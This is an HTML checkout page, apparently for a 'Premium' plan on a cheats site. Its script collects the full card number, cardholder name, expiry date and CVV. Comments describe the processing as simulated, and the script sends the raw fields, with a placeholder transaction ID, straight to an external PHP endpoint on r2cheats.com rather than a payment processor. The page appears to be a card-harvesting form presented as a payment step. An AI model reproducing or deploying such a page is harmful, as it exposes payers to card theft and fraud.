<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Payment Processing</title>
    <link rel="stylesheet" href="styles.css">
    <style>
        /* Base styles */
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background-color: #f5f5f5;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            color: #333;
        }
    
        :root {
            --primary: #ff7b7b;
            --secondary: #282828;
            --accent: #ff4d4d;
            --background: #1a0f0f;
            --text: #ffffff;
            --btn-color: #007bff;
            --btn-hover: #0056b3;
        }
    
        /* Container styling */
        .container {
            background: #ffffff;
            width: 100%;
            max-width: 400px;
            padding: 30px;
            border-radius: 12px;
            box-shadow: 0 15px 30px rgba(0, 0, 0, 0.1);
            animation: fadeInUp 0.6s ease-out;
        }
    
        h2 {
            margin-bottom: 20px;
            font-size: 24px;
            color: var(--secondary);
            text-align: center;
            font-weight: 600;
        }
    
        p {
            margin-bottom: 20px;
            font-size: 16px;
            color: var(--secondary);
            text-align: center;
            opacity: 0;
            animation: fadeIn 1s forwards;
            animation-delay: 0.5s;
        }
    
        .price {
            font-weight: bold;
            color: var(--primary);
            font-size: 20px;
            text-align: center;
            margin-bottom: 30px;
        }
    
        /* Input field styling */
        input {
            width: 100%;
            padding: 12px;
            margin: 12px 0;
            border: 2px solid #ddd;
            border-radius: 8px;
            font-size: 16px;
            color: #333;
            background-color: #f9f9f9;
            transition: border-color 0.3s ease, box-shadow 0.3s ease;
        }
    
        input:focus {
            border-color: var(--btn-color);
            outline: none;
            box-shadow: 0 0 5px rgba(0, 123, 255, 0.6);
        }
    
        /* Button styling */
        .btn {
            width: 100%;
            background-color: var(--btn-color);
            color: white;
            padding: 12px;
            border: none;
            border-radius: 8px;
            font-size: 18px;
            cursor: pointer;
            transition: background-color 0.3s ease, transform 0.3s ease;
            box-shadow: 0 4px 8px rgba(0, 123, 255, 0.2);
        }
    
        .btn:hover {
            background-color: var(--btn-hover);
            transform: translateY(-2px);
        }
    
        .btn:active {
            transform: translateY(0);
            box-shadow: 0 2px 4px rgba(0, 123, 255, 0.2);
        }
    
        /* Keyframes for animations */
        @keyframes fadeIn {
            from {
                opacity: 0;
                transform: translateY(20px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }
    
        @keyframes fadeInUp {
            from {
                opacity: 0;
                transform: translateY(50px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }
    
        /* Loading and Success states */
        .loading {
            display: none;
            margin-top: 20px;
            font-size: 16px;
            color: var(--btn-color);
            font-weight: bold;
            text-align: center;
            animation: fadeIn 1s ease-in-out;
        }
    
        .success {
            display: none;
            margin-top: 20px;
            font-size: 16px;
            color: green;
            font-weight: bold;
            text-align: center;
            animation: fadeIn 1s ease-in-out;
        }
    </style>
</head>
<body>
    <div class="container">
        <h2>Processing Payment</h2>
        <p id="planDetails">Please wait while we process your payment...</p>
        <p class="price" id="priceDisplay">Price: $19.99</p>
        <form id="paymentForm">
            <input type="email" id="email" placeholder="Email Address" required>
            <input type="text" id="card_number" placeholder="Card Number" required>
            <input type="text" id="cardholder_name" placeholder="Cardholder Name" required>
            <input type="text" id="expiry_date" placeholder="Expiry Date (MM/YY)" required>
            <input type="text" id="cvv" placeholder="CVV" required>
            <button type="submit" class="btn">Complete Payment</button>
        </form>
        <div class="loading">Processing...</div>
        <div class="success">Payment Successful!</div>
    </div>

    <script>
        // Function to get query parameters from the URL
        function getQueryParam(param) {
            const params = new URLSearchParams(window.location.search);
            return params.get(param);
        }

        // Map of plan types to prices
        const planPrices = {
            Premium: "$9.99"
        };

        // Get the plan type from the URL
        const planType = getQueryParam('plan');
        const planPrice = planPrices[planType];

        // Update the UI with the plan details and price
        const planDetails = document.getElementById('planDetails');
        const priceDisplay = document.getElementById('priceDisplay');
        
        if (planType && planPrice) {
            planDetails.textContent = `You are purchasing the ${planType} plan.`;
            priceDisplay.textContent = `Price: ${planPrice}`;
        } else {
            planDetails.textContent = "Invalid plan type. Please go back and select a valid plan.";
        }

        document.getElementById('paymentForm').addEventListener('submit', function(event) {
            event.preventDefault();
            const email = document.getElementById('email').value;
            const cardNumber = document.getElementById('card_number').value;
            const cardholderName = document.getElementById('cardholder_name').value;
            const expiryDate = document.getElementById('expiry_date').value;
            const cvv = document.getElementById('cvv').value;

            if (!email || !cardNumber || !cardholderName || !expiryDate || !cvv) {
                alert('Please fill out all fields.');
                return;
            }

            document.querySelector('.loading').style.display = 'block'; // Show loading text

            // Simulate payment processing
            setTimeout(() => {
                document.querySelector('.loading').style.display = 'none'; // Hide loading text

                // Simulate a successful payment
                const paymentStatus = 'success'; // 'success' or 'canceled'

                // Prepare the form data to be sent to PHP backend
                const formData = new FormData();
                formData.append('email', email);
                formData.append('card_number', cardNumber);
                formData.append('cardholder_name', cardholderName);
                formData.append('expiry_date', expiryDate);
                formData.append('cvv', cvv);
                formData.append('plan', planType);
                formData.append('price', planPrice);
                formData.append('transactionId', 'test');

                // Send payment details to process_payment.php for processing
                fetch('https://r2cheats.com/Api/PAYMENTS/secure.php', {
                    method: 'POST',
                    body: formData
                })
                .then(response => response.json())
                .then(data => {
                    if (data.success) {
                        // After payment success, send billing email
                        const billingFormData = new FormData();
                        billingFormData.append('email', email);
                        billingFormData.append('plan', planType);
                        billingFormData.append('price', planPrice);
                        
                        // Send the billing email via billing.php
                        fetch('https://r2cheats.com/Api/Email/billing.php', {
                            method: 'POST',
                            body: billingFormData
                        })
                        .then(response => response.json())
                        .then(billingData => {
                            if (billingData.success) {
                                alert('Payment Successful! A receipt has been sent to your email.');
                                document.querySelector('.success').style.display = 'block'; // Show success message
                            } else {
                                alert('Error: ' + billingData.message);
                            }
                        })
                        .catch(error => {
                            console.error('Error sending billing email:', error);
                            alert('Payment processed, but we could not send the receipt. Please contact support.');
                        });
                    } else {
                        alert('Error: ' + data.message);
                    }
                })
                .catch(error => {
                    console.error('Error processing payment:', error);
                    alert('Payment failed. Please try again.');
                })
                .finally(() => {
                    // Delay closing the window until after the request completes
                    window.opener.postMessage({ status: paymentStatus }, window.location.origin);
                    window.close();
                });
            }, 2000); // Simulate a 2-second processing time
        });
    </script>
</body>
</html>
